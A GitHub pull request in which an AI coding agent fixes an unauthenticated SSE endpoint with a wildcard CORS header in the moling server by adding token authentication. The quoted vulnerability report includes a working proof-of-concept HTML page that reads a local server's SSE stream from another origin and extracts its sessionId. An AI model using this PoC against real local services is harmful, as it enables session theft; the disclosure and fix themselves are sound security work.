Skip to content

security: fix SSE CORS wildcard and add token authentication#48

Merged
cfc4n merged 5 commits intomasterfrom
copilot/fix-sse-authentication-issue
Mar 15, 2026
Merged

security: fix SSE CORS wildcard and add token authentication#48
cfc4n merged 5 commits intomasterfrom
copilot/fix-sse-authentication-issue

Conversation

Copy link
Copy Markdown
Contributor

Copilot AI commented Mar 15, 2026

When run in SSE mode (-l), the HTTP server had no authentication and mcp-go hardcoded Access-Control-Allow-Origin: *, allowing any webpage to connect via EventSource, read the SSE stream, and steal the sessionId.

Changes

  • CORS strippingcorsRemoverResponseWriter wraps http.ResponseWriter to intercept WriteHeader/Write and delete the Access-Control-Allow-Origin: * header injected by mcp-go before it reaches the client. Forwards http.Flusher so SSE streaming is unaffected.

  • Token authenticationsseSecurityMiddleware requires a bearer token on every request, accepted as Authorization: ****** (scheme strictly enforced — bare token in Authorization header is rejected) or ?token=. Uses crypto/subtle.ConstantTimeCompare` to prevent timing attacks.

  • Token provisioningNewMoLingServer auto-generates a 32-hex-char token (crypto/rand, 16 bytes) when ListenAddr is set and no token is configured. Token and ready-to-use URL are written to stdout only via a console-only logger — never persisted to the log file.

  • Middleware chainsseSecurityMiddleware → requireJSONContentType → SSEServer. The requireJSONContentType layer (from security: enforce application/json Content-Type on /message to close CORS preflight bypass #47) rejects POST requests with non-application/json Content-Types, ensuring cross-origin POSTs always trigger a CORS preflight.

  • Config & CLIMoLingConfig.AuthToken field, configurable via --token/-t flag to pin a fixed token instead of auto-generating one.

Original prompt

This section details on the original issue you should resolve

<issue_title>vulnerability:SSE No Authentication + CORS: *</issue_title>
<issue_description>This vulnerability is found by Songwu security researcher,Zeyu Luo security researcher, Dr. CAO Yinfeng, Kevin(The Hong Kong Polytechnic University / HKCT Institute of Higher Education)

vulnerability description

When moling is started in SSE mode with the -l flag, the HTTP server does not implement any authentication mechanism. In addition, the underlying mcp-go library hardcodes Access-Control-Allow-Origin: * in the HTTP response headers for the /sse endpoint.

Under normal circumstances, the browser’s Same-Origin Policy (SOP) would prevent scripts from site A from reading responses from site B. However, Access-Control-Allow-Origin: * explicitly tells the browser that “any website is allowed to read my response.” As a result, any webpage can use EventSource to connect to /sse and fully read the SSE stream, including the sessionId contained in it.

POC

```html
<!DOCTYPE html>
<!--
  PoC gojue/moling#1 — SSE No Authentication + CORS: *
  =======================================
  Principle:
    The /sse endpoint responds with Access-Control-Allow-Origin: *
    → The browser allows EventSource connections from any website across origins
    → The sessionId can be fully read

  Verification goal:
    Demonstrate that the SSE stream can be read cross-origin and the sessionId obtained
    (This PoC validates the vulnerability only; it does not execute commands)

  Victim prerequisite:
    moling -l 127.0.0.1:6789  (or any address)
-->
<html>
<head><meta charset="utf-8"><title>PoC gojue/moling#1 - CORS No Auth</title>
<style>
  body { font-family: monospace; background: #0d1117; color: #c9d1d9; padding: 20px; }
  pre  { background: gojue/moling#10409; border: 1px solid #30363d; padding: 14px;
         border-radius: 6px; white-space: pre-wrap; }
  .ok  { color: #3fb950; } .err { color: #ff7b72; } .info { color: #79c0ff; }
  .key { color: #e3b341; }
</style>
</head>
<body>
<h2>PoC gojue/moling#1 — SSE No Authentication + CORS: *</h2>
<p>Current page origin: <code id="origin"></code></p>
<pre id="out">Waiting...</pre>

<script>
document.getElementById('origin').textContent = location.origin;

const out = document.getElementById('out');
const log = (s, c='') => {
  const e = document.createElement('span');
  e.className = c; e.textContent = s + '\n';
  out.appendChild(e);
};

// ─────────────────────────────────────────────────────────────────
//  Core idea: cross-origin EventSource connection
//
//  This page comes from evil-attacker.com (or file://, or any other origin)
//  The target server is on 127.0.0.1:6789
//  Their origins are completely different → under normal circumstances,
//  the browser would refuse to let this page read the response
//
//  But /sse returns Access-Control-Allow-Origin: *
//  → the browser lifts the restriction and allows the SSE stream to be read
// ─────────────────────────────────────────────────────────────────
const TARGET = 'http://127.0.0.1:6789';

log('=== PoC gojue/moling#1: SSE No Authentication + CORS: * ===\n');
log(`[*] Attacker origin: ${location.origin}`);
log(`[*] Target server:   ${TARGET}`);
log(`[*] Expected to get: sessionId\n`);
log('[*] Connecting to ' + TARGET + '/sse ...');

// The browser automatically includes the Origin header in the request
// The server responds with Access-Control-Allow-Origin: * → reading is allowed
const es = new EventSource(TARGET + '/sse');

es.onopen = () => {
  log('[+] SSE connection established successfully (cross-origin!)', 'ok');
  log('[+] The server performs no authentication checks', 'ok');
};

// The server's CORS header allows the browser to read this event
// If the server did not return Access-Control-Allow-Origin,
// this would fail silently
es.addEventListener('endpoint', (e) => {
  log('\n[+] Received SSE event "endpoint" (cross-origin read succeeded!)', 'ok');
  log(`[+] Full data: ${e.data}`, 'info');

  const sessionId = e.data.split('sessionId=')[1];
  log(`\n[!!!] sessionId leaked: ${sessionId}`, 'key');
  log('\n[*] Vulnerability verification complete:', 'ok');
  log('    ✓ A page served from ' + location.origin);
  log('    ✓ Successfully read http://127.0.0.1:6789/sse cross-origin');
  log('    ✓ Obtained the sessionId (credential for follow-up attacks)');
  log('\n[*] If this vulnerability is fixed (remove CORS: *):');
  log('    × EventSource will fail silently');
  log('    × sessionId will not leak');
  log('    × All subsequent attacks will be blocked');
  es.close();
});

es.onerror = () => {
  log('[-] SSE connection failed (service not running, or CORS already fixed)', 'err');
};

// ─────────────────────────────────────────────────────────────────
//  Technical notes:
//
//  EventSource is a CORS "simple request":
//    - Method: GET
//    - No custom request headers (only Accept: text/event-stream)
//
//  The server respons...

</details>



<!-- START COPILOT CODING AGENT SUFFIX -->

- Fixes gojue/moling#41

<!-- START COPILOT CODING AGENT TIPS -->
---

🔒 GitHub Advanced Security automatically protects Copilot coding agent pull requests. You can protect all pull requests by enabling Advanced Security for your repositories. [Learn more about Advanced Security.](https://gh.io/cca-advanced-security)

Co-authored-by: cfc4n <709947+cfc4n@users.noreply.github.com>
Copilot AI changed the title [WIP] Fix vulnerability: SSE no authentication and CORS security: fix SSE CORS wildcard and add token authentication Mar 15, 2026
Copilot AI requested a review from cfc4n March 15, 2026 09:10
Copy link
Copy Markdown
Member

@cfc4n cfc4n left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM

@dosubot dosubot bot added the lgtm This PR has been approved by a maintainer label Mar 15, 2026
@cfc4n cfc4n marked this pull request as ready for review March 15, 2026 10:13
Copilot AI review requested due to automatic review settings March 15, 2026 10:13
@dosubot dosubot bot added the size:L This PR changes 100-499 lines, ignoring generated files. label Mar 15, 2026
@dosubot dosubot bot added the bug Something isn't working label Mar 15, 2026
Copy link
Copy Markdown

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR hardens the SSE (-l / listen) mode by preventing cross-origin browser reads of the SSE stream and by requiring a shared secret token for all SSE requests, addressing the reported “No Authentication + CORS: *” vulnerability.

Changes:

  • Add SSE auth token support (config + CLI flag), including auto-generation when listening in SSE mode.
  • Wrap the SSE HTTP handler with middleware that strips Access-Control-Allow-Origin: * and enforces token authentication.
  • Add tests covering the SSE middleware behavior and token auto-generation.

Reviewed changes

Copilot reviewed 4 out of 4 changed files in this pull request and generated 4 comments.

File Description
pkg/server/server.go Implements CORS header stripping, token auth middleware, token generation, and uses a custom http.Server for SSE mode.
pkg/server/server_test.go Adds tests for auth/CORS middleware and token auto-generation behavior.
pkg/config/config.go Introduces MoLingConfig.AuthToken configuration field.
cli/cmd/root.go Adds --token/-t flag to configure SSE authentication token.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

You can also share your feedback on Copilot code review. Take the survey.

Comment on lines +169 to +173
bearerToken := strings.TrimPrefix(r.Header.Get("Authorization"), "Bearer ")
queryToken := r.URL.Query().Get("token")
tokenBytes := []byte(token)
validBearer := subtle.ConstantTimeCompare([]byte(bearerToken), tokenBytes) == 1
validQuery := subtle.ConstantTimeCompare([]byte(queryToken), tokenBytes) == 1
@cfc4n
Copy link
Copy Markdown
Member

cfc4n commented Mar 15, 2026

@copilot 解决代码冲突:

Use the [web editor](https://github.com/gojue/moling/pull/48/conflicts) or the command line to resolve conflicts before continuing.

pkg/server/server.go
pkg/server/server_test.go

Co-authored-by: cfc4n <709947+cfc4n@users.noreply.github.com>
Copy link
Copy Markdown
Contributor Author

Copilot AI commented Mar 15, 2026

@copilot 解决代码冲突:

Use the [web editor](https://github.com/gojue/moling/pull/48/conflicts) or the command line to resolve conflicts before continuing.

...

Resolved in b17aa95. The conflicts were caused by master adding requireJSONContentType middleware (PR #47). The merged version chains both middlewares: sseSecurityMiddleware → requireJSONContentType → SSEServer. Also addressed two outstanding review items in the same commit: ****** parsing now correctly rejects Authorization: <token> (without the `****** scheme), and the auth token is now printed via a stdout-only logger so it is never persisted to the log file.

Copilot AI requested a review from cfc4n March 15, 2026 13:11
Co-authored-by: cfc4n <709947+cfc4n@users.noreply.github.com>
Copy link
Copy Markdown
Member

@cfc4n cfc4n left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM

@cfc4n cfc4n merged commit ae07f70 into master Mar 15, 2026
6 checks passed
@cfc4n cfc4n deleted the copilot/fix-sse-authentication-issue branch March 15, 2026 13:36
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

bug Something isn't working lgtm This PR has been approved by a maintainer size:L This PR changes 100-499 lines, ignoring generated files.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants